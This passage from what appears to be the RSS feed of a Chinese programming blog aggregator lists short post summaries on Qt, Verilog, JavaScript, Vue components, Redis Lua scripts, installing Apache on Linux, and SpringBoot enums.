      <description>整形 补齐固定长度 QString file_name = QString(&#34;%1&#34;).arg(22, 4, 10, QLatin1Char(&#39;0&#39;)); /* 参数说明： 22：输入的整形数据 4：放在%1位置上最小的为数 10,：进制单位 QLatin1Char(&#39;0&#39;)：补的0 */ 浮点数 保留固定小数位数 double num2 = 123.456789; QString str2 = QString::number(num2, &#39;f&#39;, 2); qDebug() &amp;lt;&amp;lt; &#34;str2:&#34; &amp;lt;&amp;lt; str2 &amp;lt;&amp;lt; endl; 保留固定位数和长度 double num2 = 123.456789; QString str2 = QString(&#34;%1&#34;).arg(QString::number(num2, &#39;f&#39;, 2), -10, &#39; &#39;); qDebug() &amp;lt;&amp;lt; &#34;str2:&#34; &amp;lt;&amp;lt; str2 &amp;lt;&amp;lt; endl; 非数字字符串 补齐固定长度 QString file_name = QString(&#34;%1.bmp&#34;).arg(QString(&#34;ceshi&#34;), -10 , &#39; &#39;)； qDebug() &amp;lt;&amp;lt; file_name; //输出：ceshi .</description>
    </item>
    <item>
      <title>EXCEL 中√、× 等常用符号的输入</title>
      <link>https://bchobby.github.io/posts/172bc4e91d24d8a880b3cc93e7c8e8b4/</link>
      <pubDate>Thu, 25 May 2023 13:58:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/172bc4e91d24d8a880b3cc93e7c8e8b4/</guid>
      <description>输入常用符号的一个快捷方法：按住&amp;lt;alt&amp;gt;键，然后用数字小键盘输入相应数字，最后松开&amp;lt;alt&amp;gt;键。</description>
    </item>
    <item>
      <title>Element ui el-upload 组件上传文件之后 file-list绑定的数据源依旧是空数组</title>
      <link>https://bchobby.github.io/posts/6ddea7adc39a480b1d43ff1fa73f3ee5/</link>
      <pubDate>Thu, 25 May 2023 13:13:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ddea7adc39a480b1d43ff1fa73f3ee5/</guid>
      <description>el-upload 组件确实不支持自动更新 file-list，需要手动在上传成功和删除的回调中处理文件列表同步。&#xA;无奈只能手动实现，设置 on-success 和 on-remove 的回调处理。&#xA;&amp;lt;el-upload :action=&#34;uploadUrl&#34; accept=&#34;image/jpeg,image/png&#34; multiple :limit=&#34;5&#34; :data=&#34;uploadConfig&#34; :on-remove=&#34;(file, fileList) =&amp;gt; { return handleRemoveByLogo1(file, fileList, 1); }&#34; :before-remove=&#34;beforeRemove1&#34; :before-upload=&#34;beforeUploadByLogo&#34; :on-exceed=&#34;handleExceed&#34; :on-preview=&#34;handlePreview1&#34; :on-success=&#34;(res, file, files) =&amp;gt; { return handleSuccessLogo1(res, file, files, 1); }&#34; :file-list=&#34;imgJson[1].fileList&#34; list-type=&#34;picture-card&#34;&amp;gt; &amp;lt;img src=&#34;./img/camera.png&#34; /&amp;gt; &amp;lt;span&amp;gt;拍照确认&amp;lt;/span&amp;gt; &amp;lt;/el-upload&amp;gt; 注意： el-upload手动修改file-list之后无法一次上传多张照片会报 Uncaught TypeError: Cannot set property &#39;status&#39; of null</description>
    </item>
    <item>
      <title>Qt编译mysql驱动</title>
      <link>https://bchobby.github.io/posts/25d854ee4d2b882b484ba322a0fb68fc/</link>
      <pubDate>Thu, 25 May 2023 10:43:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25d854ee4d2b882b484ba322a0fb68fc/</guid>
      <description> 一、确保安装Qt时选择了source,即源码。 二、找到Qt安装目录下mysql驱动工程，以安装在E盘为例，工程路径为： E:\Qt\Qt5.14.1\5.14.1\Src\qtbase\src\plugins\sqldrivers\mysql 三、打开工程，修改mysql.pro文件，修改后如下： TARGET = qsqlmysql&#xA;HEADERS += $$PWD/qsql_mysql_p.h&#xA;SOURCES += $$PWD/qsql_mysql.cpp $$PWD/main.cpp&#xA;#第一步，注释这里&#xA;#QMAKE_USE += mysql&#xA;OTHER_FILES += mysql.json&#xA;PLUGIN_CLASS_NAME = QMYSQLDriverPlugin&#xA;include(../qsqldriverbase.pri)&#xA;#第二步，添加.h依赖文件，找到自己安装的mysql对应路径&#xA;INCLUDEPATH+=&#34;E:\mysql\mysql-5.7.30-winx64 (1)\mysql-5.7.30-winx64\include&#34;&#xA;#第三步，添加依赖的.lib文件&#xA;LIBS+=&#34;E:\mysql\mysql-5.7.30-winx64 (1)\mysql-5.7.30-winx64\lib\libmysql.lib&#34;&#xA;#第四步生成你所需要的dll存放目录&#xA;DESTDIR=../mysql/lib&#xA;四、编译生成需要的文件，在工程同级目录下的lib文件夹中。 五、将编译生成的文件放到对应目录，选择自己对应的编译器版本。 E:\Qt\Qt5.14.1\5.14.1\mingw73_64\plugins\sqldrivers 六、在mysql安装路径找到mysql的libmysql.dll和libmysql.lib拷贝到相应的编译套件的bin目录下 7、至此就可以在Qt中使用QMYSQL驱动了。 </description>
    </item>
    <item>
      <title>HDLBits学习（三）*</title>
      <link>https://bchobby.github.io/posts/6f443c260dfdd7f69e7df641c3e1932c/</link>
      <pubDate>Thu, 25 May 2023 09:40:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f443c260dfdd7f69e7df641c3e1932c/</guid>
      <description>Gates100 Vector100r 题目：给了一个长度是100的向量，请把它翻转输出一下&#xA;code：&#xA;module top_module( input [99:0] in, output [99:0] out ); genvar i; generate for(i=0;i&amp;lt;99;i++)begin:a2 always @(*)begin out[i]=in[99-i]; end end endgenerate endmodule 用always for&#xA;always@(*)begin for (int i=0;i&amp;lt;=99;i=i+1)begin out[i]=in[99-i]; end end Popcount255 题目：​ 设计电路来计算输入矢量中 ’1‘ 的个数，题目要求建立一个255bit输入的矢量来判断输入中 ’1‘ 的个数。&#xA;code：&#xA;integer i; always @(*)begin out=8&#39;d0; //要初始化0，不然仿真有问题 for(i=0；i&amp;lt;255;i++)begin if(in[i]==1&#39;b1)begin //在generate for循环中，变量不能当做条件 out=out+1&#39;b1; end else begin out=out; end end end 另一种思路：&#xA;有多少个1就是把所有的1相加：&#xA;assign out = in[0]+in[1]+...+in[254]; Adder100i 题目：通过实例化100个全加器来实现一个100bit的二进制加法器。该加法器有两个100bit的输入和cin，输出为sum与cout。为了鼓励大家使用实例化来完成电路设计，我们同时需要输出每个全加器的cout。 故cout[99]标志着全加器的最终进位。&#xA;code:</description>
    </item>
    <item>
      <title>js 解决浮点精度</title>
      <link>https://bchobby.github.io/posts/1800b1c2ff54ba2ecd35eceb12c08aff/</link>
      <pubDate>Thu, 25 May 2023 06:51:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1800b1c2ff54ba2ecd35eceb12c08aff/</guid>
      <description>在 JavaScript 中，由于浮点数的精度有限，可能会出现精度丢失等问题，以下是几种解决方法：&#xA;将小数转换为整数进行计算。 例如，将小数 0.1 转换为整数 1e15，相加后再除以 1e15，可以减小精度丢失的影响。&#xA;let a = 0.1; let b = 0.2; let c = 0.3; let sum = (a * 1e15 + b * 1e15 + c * 1e15) / 1e15; console.log(sum); // 输出 0.6 使用 toFixed 方法保留小数位数。 toFixed 方法可以将一个数字保留指定的小数位数，并返回一个字符串。&#xA;let a = 0.1; let b = 0.2; let c = 0.3; let sum = (a + b + c).toFixed(1); console.log(sum); // 输出 0.</description>
    </item>
    <item>
      <title>keil debug时程序卡在 while ( ( SPI_PERIPH-＞SR &amp; SPI_I2S_FLAG_RXNE ) == (uint16_t)RESET ) 的一个原因</title>
      <link>https://bchobby.github.io/posts/def8cb7204eedbec3792c9342bde8d69/</link>
      <pubDate>Wed, 24 May 2023 22:08:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/def8cb7204eedbec3792c9342bde8d69/</guid>
      <description>0x00 原因 KEIL debug过程中如果打开了SPI寄存器窗口，KEIL会读取DR寄存器导致RXNE位置0。&#xA;0x01 SPI SR寄存器RXNE位介绍 RXNE 是指SPI接口的接收缓冲区非空位，当接收缓冲区接收到数据时，RXNE 将被设置为1，当SPI DR寄存器被读取时，RXNE 自动被置0；&#xA;参考 参考1</description>
    </item>
    <item>
      <title>vant中输入框右侧加icon或单位或label下面加一行提示语</title>
      <link>https://bchobby.github.io/posts/77773c4b34762c43999f603b47935615/</link>
      <pubDate>Wed, 24 May 2023 21:57:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77773c4b34762c43999f603b47935615/</guid>
      <description>van-field变为双标记可以在右侧加icon图标或单位或label下面加一行提示语&#xA;（1）输入框右侧加icon图标&#xA;&amp;lt;van-form&amp;gt; &amp;lt;van-field v-model=&#34;detailInfo.coverableCities&#34; type=&#34;text&#34; label=&#34;覆盖城市&#34; required placeholder=&#34;请选择可覆盖城市(可多选)&#34; :rules=&#34;rules.coverableCities&#34; @focus=&#34;coverableCitiesObj.coverableCitiesShow = true&#34;&amp;gt; &amp;lt;/van-field&amp;gt; &amp;lt;van-icon name=&#34;arrow&#34; color=&#34;#999&#34; size=&#34;1.2rem&#34; /&amp;gt; &amp;lt;/van-form&amp;gt; 效果：&#xA;（2）输入框在右侧加单位&#xA;&amp;lt;van-form&amp;gt; &amp;lt;van-field v-model=&#34;detailInfo.zwCount&#34; type=&#34;number&#34; label=&#34;车位展位数量&#34; required placeholder=&#34;请输入车位展位数量&#34;&amp;gt; &amp;lt;/van-field&amp;gt; &amp;lt;span class=&#34;unit&#34;&amp;gt;个&amp;lt;/span&amp;gt; &amp;lt;/van-form&amp;gt; 效果：&#xA;（3）label下面加一行提示语&#xA;&amp;lt;van-form&amp;gt; &amp;lt;van-field v-model=&#34;detailInfo.lesson&#34; type=&#34;text&#34; label=&#34;合作车辆品牌&#34; label-class=&#34;lesson&#34; required placeholder=&#34;请输入合作车辆品牌&#34;&amp;gt; &amp;lt;/van-field&amp;gt; &amp;lt;span class=&#34;label-lesson&#34;&amp;gt; (擅长车辆价格范围，若曾有包店，经销商供应商或主机厂供应商服务经验请填写) &amp;lt;/span&amp;gt; &amp;lt;/van-form&amp;gt; 效果：&#xA;css部分： .van-form { position: relative; } .van-form .van-cell { padding: 0; flex-direction: column; margin-top: 1.5rem; } .van-form .van-cell::after { border-bottom: none; } .</description>
    </item>
    <item>
      <title>JS中操作数组的方法（全）</title>
      <link>https://bchobby.github.io/posts/eec509e2e4442f705e4ad5034f18d217/</link>
      <pubDate>Wed, 24 May 2023 21:50:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eec509e2e4442f705e4ad5034f18d217/</guid>
      <description>目录&#xA;1.Array.of()&#xA;2.Array.prototype.pop()&#xA;3.Array.prototype.push()&#xA;4.Array.prototype.reduce()&#xA;5.Array.prototype.reduceRight()&#xA;6.Array.prototype.reverse()&#xA;7.Array.prototype.shift()&#xA;8.Array.prototype.slice()&#xA;9.Array.prototype.some()&#xA;10.Array.prototype.sort()&#xA;11.Array.prototype.splice()&#xA;12.Array.prototype.toLocaleString()&#xA;13.Array.prototype.toReversed()&#xA;14.Array.prototype.toSorted()&#xA;15. Array.prototype.toSpliced()&#xA;16. Array.prototype.toString()&#xA;17.Array.prototype.unshift()&#xA;18.Array.prototype.at()&#xA;19.Array.prototype.concat()&#xA;20.Array.prototype.copyWithin()&#xA;21.Array.prototype.entries()&#xA;22.Array.prototype.every()&#xA;23.Array.prototype.fill()&#xA;24.Array.prototype.filter()&#xA;25.Array.prototype.find()&#xA;26.Array.prototype.findIndex()&#xA;27.Array.prototype.findLast()&#xA;28.Array.prototype.findLastIndex()&#xA;29.Array.prototype.flat()&#xA;30.Array.prototype.flatMap()&#xA;31.Array.prototype.forEach()&#xA;32.Array.from()&#xA;33.Array.prototype.indexOf()&#xA;34.Array.isArray()&#xA;35.Array.prototype.join()&#xA;36.Array.prototype.keys()&#xA;37.Array.prototype.map()&#xA;1.Array.of() Array.of() 静态方法通过可变数量的参数创建一个新的 Array 实例，而不考虑参数的数量或类型。&#xA;console.log(Array.of(&#39;foo&#39;, 2, &#39;bar&#39;, true)); // Expected output: Array [&#34;foo&#34;, 2, &#34;bar&#34;, true] console.log(Array.of()); // Expected output: Array [] 2.Array.prototype.pop() pop() 方法从数组中删除最后一个元素，并返回该元素的值。此方法会更改数组的长度。&#xA;const plants = [&#39;broccoli&#39;, &#39;cauliflower&#39;, &#39;cabbage&#39;, &#39;kale&#39;, &#39;tomato&#39;]; console.</description>
    </item>
    <item>
      <title>计算机网络考试周极限复习--1</title>
      <link>https://bchobby.github.io/posts/9e7dba0dea18057a602b9f5a7d015998/</link>
      <pubDate>Wed, 24 May 2023 21:29:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e7dba0dea18057a602b9f5a7d015998/</guid>
      <description>第一章 时延 因特网协议栈和OSI参考模型 应用层：报文 HTTP（提供了Web文档的请求和传送），SMP（提供了电子邮件报文的传送），&#xA;FTP（它提供两个端系统之间的文件传送）&#xA;运输层：报文段 因特网的运输层在应用程序端点之间传送应用报文&#xA;TCP UDP&#xA;网络层：数据报 网际协议：IP 该协议定义了在数据报中的各个字段以及端系统和路由器如何作用于这些字段&#xA;所有具有网络层的因特网组件必须运行IP&#xA;链路层：帧 第二章 应用层 应用层协议 定义了运行在不同端系统上的应用程序进程如何互相传递报文&#xA;Web 与 HTTP Web的应用层协议是超文本传输协议&#xA;RTT 往返时间&#xA;SMTP协议 SMTP是因特网电子邮件中主要的应用层协议，使用TCP可靠数据传输服务，从发送方额邮件服务器向接收方的邮件服务器发送邮件&#xA;DNS:因特网的目录服务 P2P文件分发 运输层 网络层提供了主机之间的逻辑通信，运输层为运行在不同主机上的进程之间提供了逻辑通信&#xA;多路复用和多路解复用 多路分解：将运输层的报文段中的数据交付给正确的套接字的工作&#xA;多路复用：在源主机从不同的套接字中收集数据块，并未每个数据块封装上首部信息从而生成报文段，然后将报文段传递到网络层，所有这些工作叫做多路复用</description>
    </item>
    <item>
      <title>Linux系统安装Apache</title>
      <link>https://bchobby.github.io/posts/aab44a3a314a874ffadf6663760aaa2e/</link>
      <pubDate>Wed, 24 May 2023 17:31:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aab44a3a314a874ffadf6663760aaa2e/</guid>
      <description>本篇内容是练习安装apache服务，如果误删和本人没有任何连带责任。&#xA;yum安装和源码(tar包)安装，方式的不同 1，yum安装是将yum源中的rpm包下载到本地，安装这个rpm包。这个rpm包是别人编译安装好的二进制包。&#xA;2，源码安装，下载是源码包，要进行编译和安装，编译过程，可以进行参数设定。&#xA;一、检查是否以及安装Apache服务 rpm -qa | grep -i httpd 找到进行删除&#xA;yum remove httpd* -y 二、安装apache ①使用yum源来安装apache以及其依赖包 yum install httpd -y 然后启动&#xA;6.8版本使用： resvice httpd start&#xA;7.9版本使用：systemctl start httpd&#xA;配置站点文件在&#xA;vi /var/www/html/index.html&#xA;②使用wget从官网下载 2.1首先安装编译工具 yum install gcc gcc-c++ -y 2.2 然后再下载apache安装包以及其依赖包 wget -O /usr/local/src/httpd-2.4.57.tar.bz2 https://downloads.apache.org/httpd/httpd-2.4.57.tar.bz2 wget -O /usr/local/src/apr-1.7.4.tar.bz2 https://downloads.apache.org/apr/apr-1.7.4.tar.bz2 wget -O /usr/local/src/apr-util-1.6.3.tar.bz2 https://downloads.apache.org/apr/apr-util-1.6.3.tar.bz2 wget -O /usr/local/src//pcre2-10.42.tar.bz2 https://github.com/PCRE2Project/pcre2/releases/download/pcre2-10.42/pcre2-10.42.tar.bz2 这个网址是国外的，所以下载会有些慢。嫌慢的人可以考虑这个腾讯的网址&#xA;wget -O /usr/local/src/httpd-2.4.57.tar.bz2 https://mirrors.cloud.tencent.com/apache/httpd/httpd-2.4.57.tar.bz2 2.3解压 将我们下载好的安装包解压&#xA;tar -jxvf httpd-2.4.57.tar.bz2 tar -jxvf apr-1.</description>
    </item>
    <item>
      <title>利用qsort排序</title>
      <link>https://bchobby.github.io/posts/5d2055e3489bfc71e22a57ca63e1f42b/</link>
      <pubDate>Wed, 24 May 2023 17:20:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d2055e3489bfc71e22a57ca63e1f42b/</guid>
      <description>一、简单排序10个元素的一维数组&#xA;#define _CRT_SECURE_NO_WARNINGS #pragma warning(disable:6031) #include&amp;lt;stdio.h&amp;gt; #include&amp;lt;stdlib.h&amp;gt; void print_arr(int arr[], int sz) { int i = 0; for (i = 0; i &amp;lt; sz; i++) { printf(&#34;%d &#34;, arr[i]); } printf(&#34;\n&#34;); } int com_int(const void* e1, const void* e2) { return *(int*)e1 - *(int*)e2; } int main() { int arr[10] = { 1,2,3,4,5,6,7,8,9,0 }; qsort(arr, 10, 4, com_int); print_arr(arr, 10); } 如果你想降序的话，那为社么不用这个呐&#xA;int com_int(const void* e1, const void* e2)</description>
    </item>
    <item>
      <title>DragGAN AI修图工具发布，可拖拽式全自动修图，图片制作流程将被颠覆！</title>
      <link>https://bchobby.github.io/posts/8ef3135cfdc876d0e6f19815e90d9313/</link>
      <pubDate>Wed, 24 May 2023 15:18:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ef3135cfdc876d0e6f19815e90d9313/</guid>
      <description> </description>
    </item>
    <item>
      <title>用户自定义控件依赖属性Command的绑定</title>
      <link>https://bchobby.github.io/posts/2ce0b55695e34f8249256cc99fb49508/</link>
      <pubDate>Wed, 24 May 2023 14:43:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ce0b55695e34f8249256cc99fb49508/</guid>
      <description> 自定义用户控件增加Command依赖属性并绑定&#xA;自定义控件 IconButton.cs中增加依赖属性&#xA;public ICommand Command { get =&amp;gt; (ICommand)GetValue(CommandProperty); set =&amp;gt; SetValue(CommandProperty, value); } public static readonly DependencyProperty CommandProperty = DependencyProperty.Register(&#34;Command&#34;, typeof(ICommand), typeof(IconButton), new PropertyMetadata(null)); &amp;lt;UserControl x:Class=&#34;EasyCode.Controls.IconButton&#34; xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34; xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34; x:Name=&#34;me&#34; &amp;gt; &amp;lt;Button Command=&#34;{Binding Command,ElementName=me}&#34;&amp;gt;Click Me!&amp;lt;/Button&amp;gt; &amp;lt;/UserControl&amp;gt; 在父窗口中设置如下绑定:&#xA;&amp;lt;my:GreatUserControl Command=&#34;{Binding SomeCommand}&#34; /&amp;gt; </description>
    </item>
    <item>
      <title>编码踩坑——Redis Pipeline中调用Lua脚本报错JedisMoveDataException的问题 / Lua脚本常遇到的问题</title>
      <link>https://bchobby.github.io/posts/b0e149d616c7e63ad0ff3e3b68742516/</link>
      <pubDate>Wed, 24 May 2023 14:29:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0e149d616c7e63ad0ff3e3b68742516/</guid>
      <description>本篇记录使用Redis Pipeline时，调用redis.clients.jedis.PipelineBase#eval时，报错JedisMoveDataException的问题；通过查看源码发现问题的原因，通过jedis在Github的issue了解了解决方案；涉及知识：Redis slot、Redis Pipeline、Redis Lua；&#xA;问题背景 有一段涉及用户通知疲劳度控制相关的代码，由于要保证执行逻辑的原子性，用到了Lua脚本：先判断rateLimiterKey是否exist存在，若存在则返回0-不通过，否则对该key赋值并设置ttl（setex），返回1-通过；如下：&#xA;local key = KEYS[1] local duration = tonumber(ARGV[1]) local exists = tonumber(redis.call(&#39;exists&#39;, key)) --exists=1,则表示存在,返回0; if exists == 1 then return 0 end --否则设置key及ttl,返回1; redis.call(&#39;setex&#39;, key, duration, &#34;&#34;) return 1 在对批量用户做上述校验时，想到是否可用Redis Pipeline来优化，从而减小网络传输开销；关于Redis Pipeline的知识可查阅我之前的文章《编码技巧——Redis Pipeline》；&#xA;通过查看JedisClusterPipeLine对象的方法，发现Jedis确实提供了pipeline下的eval方法，如下：&#xA;于是，立即试了下，代码如下：&#xA;try { pipeline = jedisCluster.pipelined(); for (String receiverId : receiverIds) { final String rateLimitKey = buildRecieverRateLimiterKey(msgType, receiverId, topic); pipeline.eval(LuaScript.setexFlag(), Lists.newArrayList(rateLimitKey), Lists.newArrayList(String.valueOf(ttl))); } // pipeline执行并获取结果 final List&amp;lt;Object&amp;gt; allVal = pipeline.</description>
    </item>
    <item>
      <title>光敏晶体管(ALS-PT19-315C/L177/TR8) 光照度和电压,电流关系分析.</title>
      <link>https://bchobby.github.io/posts/7feb2cf68d02822298f6e832c9b451f6/</link>
      <pubDate>Wed, 24 May 2023 13:16:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7feb2cf68d02822298f6e832c9b451f6/</guid>
      <description>背景 当我们使用光敏晶体管进行,测算光照度时,大多使用ADC电路测到电压. 那么怎么根据这个电压计算出对应具体的光照度呢?&#xA;下面将以 ALS-PT19-315C/L177/TR8 型号的 光敏晶体管为例,来进行分析介绍,并给出 如何根据最大光照度范围 选定合适的电阻和电容.&#xA;1,直接看数据手册给出的 光照度和输出电压的关系 图1&#xA;由上图 我们可以得到下面的一个关系.&#xA;最大输出电压负载电阻最大可测算光照度最大电流4.6V1K30750LUX(和我们在图上推算的29900 是大概一致的)4.6mA4.6V7.5K4100LUX0.613mA4.6V75K410LUX0.061mA 继续,根据 7.5K 和75K 的 对应的 最大光照度和电阻值的关系, 我们可以得出他们之间应该是线性的. 即4100 是 410 的10倍. 75 是 7.5的10倍. 由此, 可以得到 上表的所有值. [1K电阻时计算得出 30750LUX (和我们在图上推算的29900 是大概一致的)]&#xA;由上面这个表所得出的线性关系.当我们 想要测算的最大光照度值为 1000lux 和 2000lux时, 应选的电阻为&#xA;1000lux -&amp;gt; 30.7K&#xA;2000lux-&amp;gt; 15.3K&#xA;2继续根据数据手册 得到合适的电容值 而滤波电容, 根据数据手册中建议的关系.&#xA;那么选择常用的 100nf 就可以了.&#xA;3,根据 ADC 得到的电压值, 计算出 光照度. 假设 电阻选定为30.7K 最大光照度为 1000LUX, 最大电压值为4.6V. 经ADC测到的输出电压为 2.3V, 那么光照度 如下</description>
    </item>
    <item>
      <title>异步编程简介- promise</title>
      <link>https://bchobby.github.io/posts/4a82df48930129311f4bbbd03a533506/</link>
      <pubDate>Wed, 24 May 2023 12:14:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a82df48930129311f4bbbd03a533506/</guid>
      <description>异步编程简介- promise 异步编程历史&#xA;前端异步编程经历callback、promise、generate、async/await几个阶段。&#xA;目前在简单场景使用回调，步骤比较多的场景使用promise和async/await，generate昙花一现，由于其api不易理解并且不易于使用而很少使用。&#xA;Promise 简介 promise目的：异步编程解决回调地狱，让程序开发者编写的异步代码具有更好的可读性。&#xA;promise规范规定了一种异步编程解决方案的API。规范规定了promise对象的状态和then方法。&#xA;promise是这种异步编程的解决方案的具体实现。&#xA;状态特性用来让使用promise的用户可以及时通知promise任务执行结果。&#xA;then特性让使用promise的用户可以控制执行完一个任务后执行下一个任务。&#xA;（使用回调进行异步编程的话，都是用户手动控制的，使用promise的话，只需要告诉promise：“我要执行什么任务”、“我执行的任务结束了”、“然后我要做什么”）&#xA;promise语法 promise对象 new Promise对象时候传入函数，函数立即执行，函数接收resolve、reject参数，调用resolve或reject时候会改变promise状态。状态改变后不会再变化。&#xA;promise状态&#xA;pending&#xA;fullfilled&#xA;rejected&#xA;未调用resolve或者reject时候处于pending状态，调用resolve后处于fullfilled状态，调用reject后处于rejected状态。如果在pending状态时候，执行任务抛出错误，则变成reject状态。&#xA;状态变化后，会执行通过then注册的回调。执行顺序和调用then方法的顺序相同。&#xA;调用then方法时候，如果状态是pending则注册回调，等到状态改变时候执行，如果状态已经改变则执行相应的回调。&#xA;const p = new Promise((resolve, reject) =&amp;gt; { resolve(&#39;test&#39;); }); p.then( data =&amp;gt; console.log(1, &#39;resolve&#39;, data), data =&amp;gt; console.log(1, &#39;reject&#39;, data) ); p.then( data =&amp;gt; console.log(2, &#39;resolve&#39;, data), data =&amp;gt; console.log(2, &#39;reject&#39;, data) ); // 执行结果 1 &#34;resolve&#34; &#34;test&#34; 2 &#34;resolve&#34; &#34;test&#34; const p = new Promise((resolve, reject) =&amp;gt; { throw new Error(&#39;test-error&#39;); // 由于抛出错误，promise状态已经改变为rejected，再调用resolve将不会改变promise状态 resolve(&#39;test&#39;); }); p.</description>
    </item>
    <item>
      <title>vuepress简单使用</title>
      <link>https://bchobby.github.io/posts/ac09259cd9e687127eeaaa9ad6bdb78f/</link>
      <pubDate>Wed, 24 May 2023 11:19:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac09259cd9e687127eeaaa9ad6bdb78f/</guid>
      <description>vuepress简单使用 1.基础配置 找个文件夹npm init,生成一个package.json&#xA;npm init 加载vuepress&#xA;npm install -D vuepress 在 package.json 中添加一些 scripts&#xA;这一步骤是可选的，但我们推荐你完成它。在下文中，我们会默认这些 scripts 已经被添加。&#xA;{ &#34;scripts&#34;: { &#34;docs:dev&#34;: &#34;vuepress dev docs&#34;, &#34;docs:build&#34;: &#34;vuepress build docs&#34; } } 然后就可以运行下试试看,就会发现网站启动了.一般是http://localhost:8080&#xA;2.添加md文件 VuePress 遵循 “约定优于配置” 的原则，推荐的目录结构如下：&#xA;. ├── docs │ ├── .vuepress (可选的) │ │ ├── components (可选的) │ │ ├── theme (可选的) │ │ │ └── Layout.vue │ │ ├── public (可选的) │ │ ├── styles (可选的) │ │ │ ├── index.</description>
    </item>
    <item>
      <title>Netlogo学习笔记</title>
      <link>https://bchobby.github.io/posts/93224db17d8fbb02352a076ccf6d3ecb/</link>
      <pubDate>Wed, 24 May 2023 10:58:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93224db17d8fbb02352a076ccf6d3ecb/</guid>
      <description>第一行：国际惯例咕咕咕。&#xA;第二行：人工势场这个概念好神奇（虽然我觉得就是强行捏了一个高大上的词&#xA;第三行：希望全天下的软件都能把要用的东西集成成库，然后只需要无脑点点就可以了（我本人：又懒又馋还不爱劳动（武林外传十娘皱眉苦瓜脸.jpg&#xA;第四行：所有代码注释：不知道netlogo该怎么写注释就按python来了【upd：我知道了用“;;”来注释但是懒得改了】&#xA;第五行：netlogo的语法就是所有的东西都得空格隔开，3*9也得写成3 * 9&#xA;第六行：我要开始自行编辑了&#xA;一、安装+初步认识 这本书真好使，简单明了容易上手：《Netlogo多主体建模入门》&#xA;话不多说官网走起：netlogo下载链接&#xA;（实验室15kb的网速支持我摸鱼）（老师你看这可不怪我是网不行）（我超会找借口der）&#xA;1.1 生命游戏 具体规则：略(好多不想打上，反正就是小方格中的黑白色块在周8个邻居的相互作用下变黑变白的过程)&#xA;步骤：新建项目：文件-&amp;gt;模型库-&amp;gt;life（左图）；setup-random：初始化（中图）；go-forever：最终结果（右图）&#xA;结果：最终会形成小方格中黑白色块的死亡or存活图&#xA;1.2 鸟群模型 具体规则：略（模拟鸟群靠近or远离其他鸟，且保持飞行方向的过程）&#xA;步骤：新建项目：文件-&amp;gt;模型库-&amp;gt;bioligy（左图）；setup+go（右图）&#xA;结果：最终可以看到鸟群成群一起往某个方向飞并且鸟群没有发生碰撞&#xA;1.3 财富分布模型 具体规则：略（更麻烦了，分谷物和人的分布，人：采集谷物+消耗谷物+代谢不同+可能饿死+新出生，谷物：生长）&#xA;步骤：文件-&amp;gt;模型库-&amp;gt;ScocialSicence.Economics.Sugarscape（左图）；set-go（右图）&#xA;结果：class plot+class histogram：展示穷人、中产、富人的数量对比(可以看出二八定律)；Lorenz curve(洛伦兹曲线)：反映财富分配不均衡现象(红线越弯曲不均衡程度越高)；Gini-Index(基尼系数)：国际通用衡量财富不均衡的指标，数值越大越不均衡(一般0.3/0.4左右)&#xA;二、正式上手 此部分中都有各自的规则（但是由于我懒，我就不写了&#xA;2.1 小球宇宙 本模型：随机出现，单步移动&#xA;学习：对语法集合等有个初步认识&#xA;添加按钮并对按钮命名，右键黑色世界后编辑可对模拟世界的属性进行修改，在代码模块中编写代码对按钮进行设置&#xA;#对setup按钮进行设置 to setup clear-all #每次运行清空屏幕 set-default-shape turtles &#34;circle&#34; #设置形状为圆形 create-turtles 50[ setxy random-xcor random-ycor #50个小球且setxy随机横纵坐标 ] end #对go按钮进行设置 to go ask turtles[ #ask相当于循环，对turtles这个集合进行下面操作的循环 forward 1 #每点一次小球前进一个位置 ] end 效果图（左：setup，右：go）：&#xA;2.2 生命游戏 本模型：被邻居影响而改变</description>
    </item>
    <item>
      <title>SpringBoot中使用枚举类、switch、常量类(声明并初始化map)实现类策略者模式，接口返回常量数据</title>
      <link>https://bchobby.github.io/posts/3603e19fa2e0353d338c90c4ffe0488a/</link>
      <pubDate>Wed, 24 May 2023 10:45:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3603e19fa2e0353d338c90c4ffe0488a/</guid>
      <description>场景 SpringBoot中策略模式+工厂模式业务实例(接口传参-枚举类查询策略映射关系-执行不同策略)规避大量if-else：&#xA;SpringBoot中策略模式+工厂模式业务实例(接口传参-枚举类查询策略映射关系-执行不同策略)规避大量if-else_霸道流氓气质的博客-CSDN博客&#xA;SpringBoot+@Validate+全局异常拦截实现自定义规则参数校验(校验get请求参数不能为空且在指定枚举类型中)：&#xA;SpringBoot+@Validate+全局异常拦截实现自定义规则参数校验(校验get请求参数不能为空且在指定枚举类型中)_霸道流氓气质的博客-CSDN博客&#xA;Java中使用枚举类和switch实现映射存储的类似策略模式实现定制化流程：&#xA;Java中使用枚举类和switch实现映射存储的类似策略模式实现定制化流程_霸道流氓气质的博客-CSDN博客&#xA;在上面几篇文章的基础上，实现提供一个接口根据请求参数不同返回对应固定的常量值。&#xA;比如接口请求需要提供请求码，根据请求码查询对应的策略，并返回常量类中声明和初始化的字符串常量和Map常量。&#xA;注：&#xA;博客：&#xA;https://blog.csdn.net/badao_liumang_qizhi 实现 1、新建枚举类存储请求码与不同对象的策略关系&#xA;package com.badao.demo.enums; import com.badao.demo.constant.Constants; import org.springframework.lang.Nullable; import java.util.HashMap; import java.util.Map; public enum MineMessageEnum { ZLW(&#34;zlw&#34;, 